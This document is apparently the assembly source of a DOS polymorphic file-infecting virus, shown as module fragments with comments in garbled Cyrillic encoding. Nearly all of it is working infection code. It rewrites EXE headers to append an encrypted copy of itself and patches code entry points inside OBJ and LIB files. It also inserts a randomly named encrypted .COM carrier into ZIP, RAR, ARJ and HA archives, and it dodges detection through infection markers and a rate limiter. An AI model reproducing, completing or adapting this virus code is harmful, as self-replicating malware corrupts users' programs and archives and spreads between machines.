db ?
ret_hook dd ?
ret_sux dw ?
public ret_hook
public ret_sux
public after_goto
after_goto dw ?
heap:
db 1800h dup (?)
end_data:
nameforinfect db 80h dup (?)
CurDta
mem_virus_end:
data_size=end_data-begin_data
all_memory_size_p equ (offset mem_virus_end+30h)/10h
ends
end
code segment byte public
assume cs:code, ds:code, es:code, ss:code
public get_sft
get_sft proc ;bx-handle ;es:di-ptr to sft
push ax bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx ax
ret
get_sft endp
ends
end
code segment byte public
assume cs:code, ds:code, es:code, ss:code
public get_cur_time
get_cur_time proc
push ds
xor ax, ax
mov ds, ax
mov ax, word ptr ds:[46Dh]
pop ds
ret
get_cur_time endp
ends
end
INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h
extrn restore_seek :near
extrn save_seek :near
extrn seek_end :near
extrn dosseek_bof :near
extrn DOSCALL :near
extrn DosCall_exc :near
extrn NOSTL21NAMES :near
extrn get_own_name :near
extrn get_crc_just_fname :near
extrn check_PROCESS_NAME :near
extrn EXE_TEST_READ :near
extrn start_data :near
extrn dosclose :near
extrn read_buf_22 :near
public exe_test_read
public IfInfectName
public IfInfectHandle
public IfInfectBuf
public IfInfectNameCustom
public exe_test
public test_size
-+------------------------------------------------------------------------+-
pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file
mov ax, 3D40h ; open R/O file
pblabel IfInfectNameCustom
mov byte ptr cs:[ErrorRead], opCALL
call DosCall_exc ; open file
;† •·´® ≠• Æ‚™‡Æ•‚·Ô - ÆÁ•≠Ï Ø´ÆÂÆ :(
;≠†§Æ Æ°Ô߆‚•´Ï≠Æ Æ‚™‡Î‚Ï (67h?)
push bx
xchg bx, ax
call seek_end
call test_size
jnz ErrorRead
jz IfInfectHandle1
ErrorRead:
call dosclose ; close file
pop ax
ret
-+------------------------------------------------------------------------+-
pblabel IfInfectHandle
mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file
IfInfectHandle1:
MOVSEG ds, cs
;*****************test size
mov ax, 4400h ; IOCTL test for file/stream
call DosCall ;NDD: open 'CON' :)
jc ErrorRead ;no file
rol dl, 1
jc ErrorRead ;no file
call save_seek
call seek_end
call test_size
jnz ErrorRead
call dosseek_bof
call read_buf_22
jc ErrorRead
call restore_seek
pblabel IfInfectBuf
if PKZIP, NDD (ZF=1) - no stealth
push ds dx
call get_own_name
call get_crc_just_fname
pop dx ds
jz ErrorRead
call exe_test
jnz ErrorRead ;test for infect
mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS]
add ax, [exehdr.exe_par_dir]
mov cx, 10h
mul cx
add ax, [exehdr.exe_SP]
sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size
cmp ah, MININFECTSIZE/100h
jb ErrorRead
test al, 1
jnz ErrorRead
ret
IfInfectHandle endp
-+------------------------------------------------------------------------+-
-+------------------------------------------------------------------------+-
pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect
;ZF=0 - no infected file
mov ax, [exehdr.exe_SS]
inc ax
sub ax, [exehdr.exe_CS]
DOIF Z
mov al, [exehdr.exe_SS.h]
sub al, [exehdr.exe_CS.h]
cmp al, 17h
DOIF BE
mov ax, [exehdr.exe_SP]
and ax, 0FFF0h
sub ax, STACKBASE
DONE
ret
-+------------------------------------------------------------------------+-
-+------------------------------------------------------------------------+-
pblabel test_size ;ax-(file_size and 0FFFFh)
;-+------- test for already infect -> ZF=1 if possible infect
;ZF=0 - no infected file
for length with virus
push ax cx dx
xor dx, dx
mov cx, SIZEMARKER
div cx
cmp dx, SIZEMARKER_MOD
pop dx cx ax
ret
-+------------------------------------------------------------------------+-
ends
end
BUG LIST
1. no infect ARJSFX
2. no -AV in ZIP
3. no support RAR 1.30
4. no support long names
INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code
STACKBASE equ 080h
----------------------------------------------------------------------------
extrn DOSCALL :near
extrn DOStruncate :near
extrn rt_err :near
extrn vir_heap :near
extrn EXE_TEST :near
extrn SEEK_END :near
extrn TEST_SIZE :near
extrn START_DATA :near
extrn CALC_HDR_PAGES :near
extrn DOSSEEK :near
extrn START_DATA :near
extrn DOSSEEK_BOF :near
extrn ZME_crypt :near
extrn dosseek_cur :near
extrn DosCall_exc :near
extrn SHIT_AX :near
extrn get_sft :near
extrn dostell :near
extrn heap :near
extrn DosSeek_all :near
extrn dosseek_cur_neg_dx :near
extrn dosseek_cur_neg_ax :near
extrn dosseek_cur_cx_1 :near
extrn dosseek_cur_cx_0 :near
extrn dosseek_cx_0 :near
extrn arj_h :near
extrn zip_h :near
extrn dosread :near
extrn read_buf_22 :near
extrn read_buf_cx :near
extrn DosWrite_shbuf_22 :near
extrn DosWrite_shbuf :near
extrn DosWrite :near
extrn dosclose :near
extrn doswrite_from_heap :near
extrn _____ :byte
extrn Calculate_CRC :near
extrn get_cur_time :near
extrn get_crc_just_fname :near
extrn InfectTurn :byte
extrn crypt_exe_header :near
----------------------------------------------------------------------------
----------------------------------------------------------------------------
pblabel InfectName
MOVSEG ds, cs
lea dx, InfectTurn
call get_crc_just_fname
jz $ret$
cmp ax, [turn_name_crc]
je $ret$
mov [turn_name_crc], ax
mov ax, 3D12h
call DosCall_exc
xchg bx, ax
push bx
call InfectHandle
pop bx
jmp dosclose
----------------------------------------------------------------------------
----------------------------------------------------------------------------
pblabel InfectHandle ;ret
cld
MOVSEG ds, cs
MOVSEG es, cs
call no_freq_proc
mov ax, 5700h
call doscall
mov [host_arx_date], dx ; dx = date
mov [host_arx_time], cx ; cx = time
mov ah, 2Ah ; ØÆ´„Á®‚Ï ‚•™„È„Ó §†‚„ ® ......
call doscall
xor dx, [host_arx_date] ;≠• ߆‡†¶†‚Ï ‰†©´Î Ì‚Æ© ≠•§•´®
and dx, 18h ;week only ; ®·™´. ·Æߧ†¢†•¨Î• ‰†©´Î (?)
DOIF NZ
call arxtest
DONE
mov cx, [host_arx_time]
xor cl, 1 ;change time for 1F
mov dx, [host_arx_date]
mov ax, 5701h
jmp doscall_exc
----------------------------------------------------------------------------
----------------------------------------------------------------------------
pblabel arxtest ;close file(?)
call RND_INIT
mov ax, 4400h ; IOCTL test for file/stream
call DosCall_exc
cmp dl, 80h
DOIF NC
$ret: pop ax ;don't restore file time
$ret$: retn
DONE
and dl, 0Fh
inc dx ;1=a, 3=C
IFDEF RELIZ
cmp dl, 3
ELSE
cmp dl, 4
jbe $ret ; no flop & C:
ENDIF
jc $ret ; no flop
int 2bh
cmp dl, 3 ;<<debug
jbe $ret ;<<debug
$BEEP$
cmp dl, 2 ;<<debug
je $ret ;<<debug
cmp dl, 1 ;<<debug
je $ret ;<<debug
call get_sft
cmp es:[di.sf_name.9], 'V' ;*.ov?
je $ret
inc di
DOIF NZ
inc di
sto_word 2012h
sto_byte 20h
DONE
movseg es, ss
push bx ds
mov ah, 32h ;get DPB
call DosCall ;test for RAM-DISK
cmp byte ptr ds:dpb_FAT_count[bx], 1 ;RAM-DISK have one FAT
DOIF NE
mov ah, 36h ;get Disk space
call DosCall ;BX - free clusters
and bh, bh ;BX < 100h
DONE
no_free_space2: ;8k*100h = 2Mb
pop ds bx ;.5k*100h = 128k
jz $ret
int 2bh
mov es:[(di-1).sf_mode.l], 12h ;mode +2
mov es:[(di-1).sf_attr], 20h ;attr +4
call dosseek_bof
pblabel second_tst
call read_buf_22
cmp al, HDRBUFSIZE
jne __ret
mov crcpass, 8
DO
shr crcpass, 1
DOIF E ;CPU conveir
__ret:
ret
DONE
lea si, [vir_heap._exehdr]
mov di, 2 ;4,2,1
crcpass equ byte ptr ($-2)
call calculate_crc
lea di, hdrs
mov cx, (offs-hdrs)/2
repne scasw
CYCLE NZ
push word ptr [di+offs-hdrs-2]
cmp cx, (offs-endarxex)/2 ;<<<
DOIF AE ;zip, arj, rar
-[create & infect file]----------------------------------------------------
call RND_GET_BYTE
lea di, [heap]
sto_byte opJMPN
stosw
mov ax, zmeflARX
call ZME_crypt ;;ret CX-SIZE
lea si, [heap]
mov word ptr [fioff] , si
mov [si+1], ax ;<com
call RND_GET
and ax, 0FFFh ;<<<<<<<<<<,
push ax
add ax, 3 ;<com
add cx, ax
mov word ptr [fisize], cx ;<all
pop ax
call SHIT_AX
create & infect carrier
mov di, [fisize]
call Calculate_CRC
mov [arx_crc.lo], cx
mov [arx_crc.hi], dx
-[generate name]------------------------------------------------------------
int 2bh
$BEEP$
call RND_GET_Three_Bits
and al, not 4
add al, 2
mov cx, ax
add al, 4
mov word ptr [fnamesize], ax
lea di, [vir_heap._fnamestr]
DO
DO
call RND_GET_BYTE
cmp al, 'V'-'A' ; ('Z'-'A')
CYCLE A
add al, 'A'
stosb
CYCLE LU
sto_two_byte '.', 'C'
sto_two_byte 'O', 'M'
----------------------------------------------------------------------------
DONE
MOV [pos98.hi], -1
$$ret:
retn
----------------------------------------------------------------------------
-≈--[process EXE/SFX]-----------------------------------------------------≈-
pblabel process_exe
mov ax, [exehdr.exe_pages]
mov cx, [exehdr.exe_len_mod_512]
jcxz ExactPage
dec ax
pblabel ExactPage
mov dx, 200h
mul dx
add cx, ax
xchg cx, dx
call DosSeek
call second_tst
cmp di, offset offs-2
jb $$ret
-≈--[process EXE]---------------------------------------------------------≈-
;newexetest
probability_test prblt_infct_EXE, 0f0h, error_exit
----------------------------------------------------------------------------
INFECT exe
----------------------------------------------------------------------------
int 2bh
call seek_end
ߧ•·Ï Æ‚·•Ô‚Ï ¨†´•≠Ï™®• ‰†©´Î
cmp ah, MININFECTSIZE/100H
jb $$ret
................................
call test_size ;proc;ax-(file_size and 0FFFFh)
jz $$ret
call dosseek_bof
call read_buf_22
call exe_test
jz $$ret ;already infect
; ≠• ߆‡†¶†‚Ï EXE ‰†©´Î °•ß ‡•´Æ™•©Ë•≠Æ¢,
® •·´® ‡•´Æ™•©Ë•≠Æ¢ ÆÁ•≠Ï ¨≠Æ£Æ (?)
cmp byte ptr [exehdr.exe_rle_count], 1 ;0 or 1 relocations
jb $$ret
................................
; •·´® §´®≠† ߆£‡„¶†•¨Æ© Á†·‚® exeË≠®™† °Æ´ÏË• ... 32k = 40h pages
test for pklite(etc) & PASS E
cmp word ptr [exehdr+18h], 40h ;
jae standart_exe_infect2
mov al, byte ptr [exehdr+1Eh]
cmp al, 'P' ;PKLITE ?
je standart_exe_infect2
cmp al, 20h ;07, 20h -WATCOM
je standart_exe_infect2
cmp al, 7 ;07, 20h -WATCOM
je standart_exe_infect2
cmp byte ptr [exehdr.exe_pages], 40h
jbe standart_exe_infect2
pblabel insert_exe_infect
mov dx, [exehdr.exe_par_dir]
shl dx, 4
jc standart_exe_infect2 ;if header>64k
call dosseek_cx_0
lea dx, [heap]
mov cx, 1800h ;6k
call DosRead
xchg cx, ax
;scan
lea si, [heap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je exfnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je exfnd
pblabel cont_search
pop cx ;
CYCLE LU
pblabel standart_exe_infect2
jmp standart_exe_infect
pblabel exfnd
sizeof_part1=54h
push si
mov cx, sizeof_part1
DO
lodsb
push cx
lea di, endd
mov cx, 6
repne scasb
pop cx
jz nff
;nff:
DOIF Z
pop si
jmp cont_search
DONE
CYCLE LU
pop si
$BEEP$
extrn ffsize_lo:word
extrn ffsize_hi:word
call seek_end
mov ffsize_lo, ax
mov ffsize_hi, dx
mov dx, [exehdr.exe_par_dir]
shl dx, 4
add dx, si
sub dx, (offset heap)+3
call dosseek_cx_0
lea dx, [heap+sizeof_part2]
to heap+sizeof(part2)
mov cx, sizeof_part1
call DosRead
call dosseek_cur_neg_ax
;ߧ•·Ï part 1
extrn part1:near
extrn part2:near
¢Î°Æ‡ ™‡®Ø‚ƢȮ™† §´Ô part2 (?)
extrn crypt_part2:byte
call RND_GET
mov crypt_part2, al
mov crypt_old1, ah
lea dx, part1
mov cx, sizeof_part1
call DosWrite
call seek_end
sizeof_part2 = 70h
´„ÁË• Á‚Æ-‚Æ ¢‡Æ§•:
part2 -> heap
encode virus to heap+sizeof(part1)+sizeof(part2)
lea di, [heap+sizeof_part1+sizeof_part2]
mov ax, zmeflIXE
call ZME_crypt ;;ret CX-SIZE
extrn ffentrvir:word
extrn crypt_old1:byte
mov ffentrvir, ax ;?
lea si, part2
lea di, [heap]
push cx
mov cx, sizeof_part2
DO
lodsb
sub al, crypt_part2
stosb
CYCLE LU
mov cx, sizeof_part1
mov al, crypt_old1
DO
sub byte ptr [di], al
inc di
CYCLE LU
pop cx
crypt part2
add cx, (sizeof_part1+sizeof_part2)
call doswrite_from_heap
call write_sizemarker
pblabel error_exit_2
pop ax
pblabel endd
db 0C3h
db 0CBh
db 0CFh
db 09Ah
db 0CAh
db 0C2h
pblabel no_freq_proc
call get_cur_time
sub ax, [last_infect_time]
cmp ax, INTERVAL_INFECT ;0.5 ¨®≠
IFDEF RELIZ
jl error_exit_2 ;<<<<<<<<<debug
ENDIF
ret
ret
DONE
pblabel standart_exe_infect
call seek_end ;dx:ax - file size
test al, 1
jnz endd ;≠• ߆‡†¶†‚Ï EXE‰†©´Î · ≠•Á•‚≠Æ© §´®≠Æ©
cmp dl, 6 ;6*64k=384k 4*64k=256k
jae endd ;file too big, infect him other method (?)
----------------------------------------------------------------------------
INFECT
----------------------------------------------------------------------------
write old header to EOF
push ax dx ;dx:ax - file size
call crypt_exe_header
mov cx, exe_rle_table-exe_len_mod_512 ;14h
call doswrite_from_heap
pop dx ax
mov cx, ax
and cx, 0Fh
add cl, STACKBASE ;offset virus_start-10h
mov [exehdr.exe_SP], cx
add ax, VIRUSSTACKSIZE-10h ;paragraph
and ax, not 0Fh
push ax dx
mov cx, dx
mov dx, ax
call dosseek
pop dx ax
mov cx, 10h
div cx ;dx:ax =
sub ax, [exehdr.exe_par_dir]
sub ax, VIRUSSTACKSIZE/10h
mov [exehdr.exe_CS], ax
add ah, cl
mov [exehdr.exe_SS.h], ah ;64k
call RND_GET_THREE_BITS
add [exehdr.exe_SS.h], al ;
lea di, [heap] ;to heap
mov ax, zmeflEXE
call ZME_crypt ;;ret CX-SIZE
add ax, VIRUSSTACKSIZE
mov [exehdr.exe_IP], ax
call doswrite_from_heap ;write encrypted virus
call write_sizemarker
call seek_end ;get file size
mov di, [exehdr.exe_pages]
call calc_hdr_pages
„¨•≠ÏË®‚Ï MinMem ≠† ‡†ß¨•‡ Æ¢•‡´•Ô (?)
sub di, [exehdr.exe_pages] ;Æ‚‡®Ê.
shl di, 5
add [exehdr.exe_min_BSS], di
DOIF NC
mov [exehdr.exe_min_BSS], 0
DONE
pblabel write_exehdr
call dosseek_bof
mov cx, 1Ch
jmp DosWrite_shbuf ;write new header
----------------------------------------------------------------------------
-≈--[process OBJ]---------------------------------------------------------≈-
pblabel cycle_o
mov dx, [objhdr.recsize]
sub dx, HDRBUFSIZE - 3
sbb cx, cx
call dosseek_cur ;_cx_0
call read_buf_22 ;
cmp al, HDRBUFSIZE
jne obj$ret1
pblabel process_obj ;test size
int 2bh
cmp [objhdr.rectype], MODEND
je obj$ret1
-+-[process 98]-------------+-
cmp [objhdr.rectype], SEGDEF
PASS NE
CMP [pos98.hi], -1
DOIF E
cmp word ptr [objhdr.recsize], 7
jne obj$ret1
test byte ptr [objhdr.segattr], MASK SA_B or MASK SA_P
jnz obj$ret1
test byte ptr [objhdr.segattr], 0A0h ;borland windows library is WORD alignment
test byte ptr [objhdr.segattr], MASK SA_A
DOIF Z
obj$ret1: stc
ret
DONE
call dostell
sub ax, HDRBUFSIZE
sbb dx, 0
mov [pos98.lo], ax
mov [pos98.hi], dx
mov ax, word ptr [objhdr.segsize]
cmp ax, 0Ah
jb obj$ret
cmp ah, 3
ja obj$ret
mov [siz98], ax
DONE
-+--------------------------+-
pblabel process_A0
-+-[process A0]-------------+-
cmp [objhdr.rectype], LEDATA
jne cycle_o
rzheap equ <heap+80h>
read (rzheap+80h, [objhdr.recsize]-4)
mov ax, HDRBUFSIZE -6h
call dosseek_cur_neg_ax
sub ax, 6h
sbb dx, 0
mov [posA0.lo], ax
mov [posA0.hi], dx
lea dx, [rzheap]
mov di, dx
mov cx, [objhdr.recsize]
sub cx, 4h
call dosread
push bx ;save file handle
push ax ;size A0 before infect
add di, ax
push di
encode virus (rzheap+[objhdr.recsize]-4)
mov ax, zmeflOBJ
call ZME_crypt ;;ret CX-SIZE
mov [_____], ah
mov si, VIRUSSTACKSIZE
mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
mov [engdata.datasize], cx
mov [engdata.targetptr], di
rep movsb ;copy data
mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
xor ax,ax
xchg bx, ax ; entry virus
¨Æ¶•‚ Æ·Î؆‚Ï·Ô, •·´® „¢•´®Á®‚Ï ‡†ß¨•‡ ¢®‡„·†. ·•©Á†· 7000
≠†§Æ, Á‚Æ°Î °Î´Æ 9 °´Æ™Æ¢.?
mov ax, cx
add ax, 3DFh
dec ax
cwd
mov si, 3E0h
div si
inc ax
cwd
mov si, 3E9h
mul si
mov ax, di
sub ax, offset rzheap
cwd
mov si, 3E0h
div si
mov dl, 7
mul dl
add ax, cx
and ax, 0Fh
sub cx, ax
add cx, 10h
pop di
add di, cx
mov word ptr [fisize], cx
scan
pop cx ;size A0 before infect
push di ;ptr to end A0 & virus
lea si, [rzheap+2]
DO
mov di, 3
dec si
dec si
push cx
call calculate_crc ;<add si,3
pop cx ;
cmp_ax_CRC32w <55h, 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND
je fnd
cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM
je fnd
CYCLE LU
pop ax
error_exit_2:
pop ax
obj$ret: stc ;CF - error flag for process_lib
ret
fnd:
mov byte ptr [si-3], opCALL
lea ax, [bx-3]
add ax, cx
mov word ptr [si-2], ax ;, 00 ;(cx+bx-3)
pop dx ;ptr to end A0 & virus
pop bx ;restore file handle
rezka
lea si, [rzheap]
lea di, [heap]
DO ;@repeat:
sto_byte LEDATA
mov ax, dx
sub ax, si
MIN ax, 3E0h
push ax ;block size
add ax, 4
stosw
sto_byte 1
mov ax, si
sub ax, offset rzheap
stosw
pop cx
/----crc-------------------\
add al, byte ptr [di-4]
add al, byte ptr [di-5]
add al, ah
add al, LEDATA+1
DO
add al, byte ptr [si]
movsb
CYCLE LU
neg al
stosb
\--------------------------/
cmp si, dx
CYCLE B ; jb @repeat
sub di, (offset heap)+3E7h
push di ;razmer wtorogo finserta
seek_pos(posA0)????
mov dx, [posA0.lo]
mov cx, [posA0.hi]
call dosseek
write (heap, [objhdr.recsize]+3)
mov cx, [objhdr.recsize]
add cx, 3
call doswrite_from_heap
f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3))
mov si, ax
add si, dx
mov cx, 3E7h
sub cx, ax
add di, cx
mov [lib_dict_offset], di
adc [lib_dict_offset.hi], 0
push cx
call dostell
pop cx
call f_insert
read (objhdr, 22h)
---- skip FIXUPP if present
call read_buf_22
cmp [objhdr.rectype], FIXUPP
DOIF E
sub ax, 3
sub ax, [objhdr.recsize]
DONE
call dosseek_cur_neg_ax
f_insert (heap+3E7h, virrsize-3E7h)
lea si, [heap+3E7h]
pop cx ;virrsize-3E7h
call f_insert
-process-segment------------
mov dx, [pos98.lo]
mov cx, [pos98.hi]
call dosseek
call read_buf_22
call dosseek_cur_neg_ax
mov ax, [fisize]
add word ptr [shift_buffer.segsize], ax
/----crc-------------------\
mov cx, [objhdr.recsize]
lea si, [vir_heap._objhdr]
inc cx
lodsb
DO
add al, byte ptr [si]
inc si
CYCLE LU
neg al
mov byte ptr ds:[si], al
\--------------------------/
jmp DosWrite_shbuf_22
-≈--[process LIB]---------------------------------------------------------≈-
pblabel process_lib
CALL CHECK_PROCESS_NAME
‚™ ߆‡†¶•≠®• LIB ߆≠®¨†•‚ ¨≠Æ£Æ ¢‡•¨•≠®
Ì‚Æ ·‚Æ®‚ §•´†‚Ï Ø‡® ‡†°Æ‚• NDD, PKLITE, TLINK, etc
cmp byte ptr [libhdr.lib_hdr_dict_offs], 0
jne lib$ret ;already infect
DO ;infect exitcode of 'C' program
mov di, 8 ;search for 'EXIT'
lea si, [vir_heap._libhdr]
call calculate_crc ;<add si,3
; ߆‡†¶•≠®• '___write', '__ioalloc_' ®‚Ø
cmp_ax_CRC32w <80h, 6, 0, 4, 'E', 'X', 'I', 'T'> ;< BORLAND
je exfound
cmp_ax_CRC32w <80h, 6, 0, 4, 'e', 'x', 'i', 't'> ;< WATCOM
je exfound
mov dx, 10h-HDRBUFSIZE
call dosseek_cur_cx_1
mov cx, 10h
div cx
mov [virobjblk], ax
call read_buf_22
cmp al, HDRBUFSIZE
CYCLE E
end_process_dictionary:
lib$ret: ret
pblabel exfound
cmp byte ptr [libhdr+14h], 32h
je lib$ret
call process_obj ;hmmm...
jc lib$ret
call dosseek_bof
call read_buf_22
mov ax, [lib_dict_offset]
add [libhdr.lib_hdr_dict_offs.lo], ax
adc [libhdr.lib_hdr_dict_offs.hi], 0
call write_exehdr
call dosseek_bof
call doswrite_shbuf_22
¢ ·´Æ¢†‡•: §´Ô ¢·•Â ߆خ·•© > exit_ §Æ°†¢®‚Ï ‡†ß¨•‡ ¢·‚†¢™® ¢ ؆‡†£‡†‰†Â
seek (lib_hdr_dict_offs)
mov cx, [libhdr.lib_hdr_dict_offs.hi]
mov dx, [libhdr.lib_hdr_dict_offs.lo]
call dosseek
DO
lea dx, [heap]
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call dosread ; read (heap, 0x200)
mov dx, LIB_DICTIONARY_ENTRY_SIZE
cmp ax, dx ; ØƂƨ ·§•´†© Á•‡•ß SAHF
jne end_process_dictionary ;< ØÆ·´• Ì‚Æ£Æ ≠†§Æ-°Î
call dosseek_cur_neg_dx ; ·‚‡„≠™•©‚®‚Ï extended dictionary.
lea si, [heap] ; process:)
mov cx, 25h
DO
lodsb
push si
mov ah, ch ;ch=0
add ax, ax
DOIF NZ
add ax, offset heap
xchg si, ax
lodsb
mov ah, ch ;ch=0
add si, ax
cmp word ptr [si], UNINIT
virobjblk equ word ptr ($-2)
DOIF A
mov ax, [lib_dict_offset]
shr ax, 4
add word ptr [si], ax
DONE
DONE
pop si
CYCLE LU
mov cx, LIB_DICTIONARY_ENTRY_SIZE
call doswrite_from_heap ; write (heap, 0x200)
CYCLE
----------------------------------------------------------------------------
-≈--[process HA]---------------------------------------------------------≈-
pblabel process_ha
int 2bh
mov ax, [hahdr.filecnt]
inc ax
mov [hafcount], ax
mov ax, HDRBUFSIZE - (size ha_main)
call dosseek_cur_neg_ax
jmp sss
pblabel cycle8
seek(size ha_file_hdr)+size name+machine+1
lea si, [vir_heap._hahdr.ha_name]
mov cx, 42h ; max length name
DO
lodsb
and al, al
CYCLE LUNZ
jcxz error_exit2
lodsb
mov ah, 0
sub cx, 34h
sub ax, cx
sbb cx, cx ;<cx=0
add ax, [hahdr.ha_compress_size.lo]
adc cx, [hahdr.ha_compress_size.hi]
xchg dx, ax
call dosseek_cur
sss:
read(header)
call read_buf_22
cmp [hahdr.ha_ver_method], HA_METHOD_STORED
je error_exit2
cmp al, HDRBUFSIZE
je cycle8
cmp al, 0
jne error_exit2
/+- CREATE HAHDR -+-
lea di, [vir_heap._crthdr]
sto_byte HA_METHOD_STORED
call store_fisize
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_byte 0 ; sto_word '/'
call store_fname
sto_two_byte 0, 2
sto_two_byte 1, 20h
\+- CREATE HAHDR -+-
mov cx, [fnamesize]
add cx, SIZE ha_file_hdr + 3 ; 0h
lea dx, [vir_heap._crthdr]
call doswrite
mov cx, word ptr [fisize]
mov dx, word ptr [fioff]
call doswrite
mov dx, 2
call dosseek_cx_0
mov cx, 2
lea dx, [vir_heap._hafcount]
jmp doswrite
----------------------------------------------------------------------------
-≈--[process RAR]---------------------------------------------------------≈-
pblabel process_rar
DO
cmp [rarhdr.rar_head_type], 73h ;
DOIF E ;test for multi-volume archive (?)
test byte ptr [rarhdr.rar_head_flags], 1h
DOIF NZ
pblabel error_exit2
ret
DONE ; remove Authenticity information present flag
and byte ptr [rarhdr.rar_head_flags], not 20h
call dosseek_cur_neg_ax
mov di, SIZE rar_main_hdr - 2
lea si, [vir_heap._rarhdr.rar_head_type]
call Calculate_CRC
mov [rarhdr.rar_head_crc], cx
call DosWrite_shbuf_22
DONE
cmp [rarhdr.rar_method], RAR_METHOD_STORED
je error_exit2
mov dx, [rarhdr.rar_f_head_size]
sub dx, HDRBUFSIZE
sbb cx, cx
test byte ptr [rarhdr.rar_head_flags.1], 80h
DOIF NZ
add dx, [rarhdr.rar_compressed_size.lo]
adc cx, [rarhdr.rar_compressed_size.hi]
DONE
call dosseek_cur
call read_buf_22
pr_rar:
and ax, ax ;if eof
EXIT Z
cmp [rarhdr.rar_head_type], 74h
CYCLE BE ; if marker block or archive header
push ax
/+- CREATE RARHDR 1.50 -+-
LEA di, [vir_heap._crthdr+2]
sto_two_byte 74h, 0
sto_byte 80h
call sto_fnamesize_20
call store_fisize
stosb ;rar_host_os =0
lea si, [vir_heap._arx_crc]
movs4 ;d;file crc_32
call create_dtim1
sto_two_byte 0Fh, RAR_METHOD_STORED
sto_word_ <[fnamesize]>
mov al, 20h
call stosw_sto_0
call store_fname
lea si, [vir_heap._crthdr+2]
sub di, si
call Calculate_CRC
mov word ptr [crthdr], cx ;[si-2] (?)
\+- CREATE RARHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, SIZE rar_file_hdr
JMP f_insert_hdr_und_file
----------------------------------------------------------------------------
include add2arj.as1
-≈--[process ARJ]---------------------------------------------------------≈-
DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h)
mov dx, [arjhdr.arj_bas_hdr_size]
sub dx, HDRBUFSIZE-0Ah
sbb cx, cx
cmp [arjhdr.arj_original_size.lo], cx
DOIF NE ; if first header - (great BUG)
add dx, [arjhdr.arj_compressed_size.lo]
adc cx, [arjhdr.arj_compressed_size.hi]
cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED
DOIF E
pblabel error_exit3
ret
DONE
DONE
call dosseek_cur
call read_buf_22
pblabel process_arj
test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?)
jnz error_exit3
cmp [arjhdr.arj_bas_hdr_size], 0
CYCLE NE
push ax ;
/+- CREATE ARJHDR -+-
lea di, [vir_heap._crthdr]
lea si, arj_h
movsw ;arj_id
call sto_fnamesize_20
movsw ;31e
mov al, 1
stosw ;1
dec ax
call create_dtim
call store_fisize
movs4 ;d;file crc_32
sto_word 0
stos2w ;0
call store_fname ;*;name
stosw ;0
push di
lea si, [vir_heap._crthdr.arj_first_hdr_size]
sub di, si
call calculate_crc
pop di
xchg ax, cx
call st_dx_0
\+- CREATE ARJHDR -+-
pop ax
call dosseek_cur_neg_ax
mov cx, 2Ah ;SIZE zip_local_header
pblabel f_insert_hdr_und_file
CALL f_insert_hdr
mov cx, word ptr [fisize]
mov si, word ptr [fioff]
jmp f_insert
----------------------------------------------------------------------------
include add2zip.as1
-[create zip headers]-------------------------------------------------------
pblabel create_zip
LEA di, [vir_heap._crthdr]
lea si, zip_h
movsw ;'KP'
lodsw ;304
DOIF NZ ;CENTRAL_FLAG ; $$if central
sto_word ZIP_CNL_ID
mov ax, word ptr ds:[si] ;20d;?ver?
DONE
stosw
movsw ;14
mov ax, 2
pushf
call create_dtim
add_si4
movs4 ;d;file crc_32
call store_fisize
mov ax, [fnamesize]
call stosw_sto_0 ;extra field size =0
popf
DOIF NZ ;CENTRAL_FLAG ; $$if central
stos3w ;=0
mov al, 20h
call stosw_sto_0
add_di4
DONE
pblabel store_fname ;*;name
mov cx, [fnamesize]
rep movsb
pblabel error_exit1
ret
----------------------------------------------------------------------------
-≈--[process ZIP]---------------------------------------------------------≈-
pblabel cycle1
mov dx, [ziphdr.zip_size_fname]
sub dx, 4
sbb cx, cx
add dx, [ziphdr.zip_extra_field_length]
cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED
je mustdie
add dx, [ziphdr.zip_compressed_size.lo]
adc cx, [ziphdr.zip_compressed_size.hi]
call dosseek_cur
call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr))
pblabel process_zip
$BEEP$
DOIF E
DONE
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID
je cycle1
cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID
jne error_exit1
call create_zip
mov dx, - HDRBUFSIZE ; SIZE zip_local_header
call dosseek_cur_cx_1
mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax
mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx
mov cx, SIZE zip_local_header ;1e
call f_insert_hdr_und_file
jmp proc_cnt
DO
seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_
+ziphdr.file_comment_length_)
mov dx, [ziphdr.zip_size_fname_]
add dx, [ziphdr.zip_extra_field_length_]
add dx, [ziphdr.zip_file_comment_length_]
add dx, 0Ch
call dosseek_cur_cx_0
pblabel proc_cnt
call read_buf_22
cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN
jne error_exit1
cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID
CYCLE E
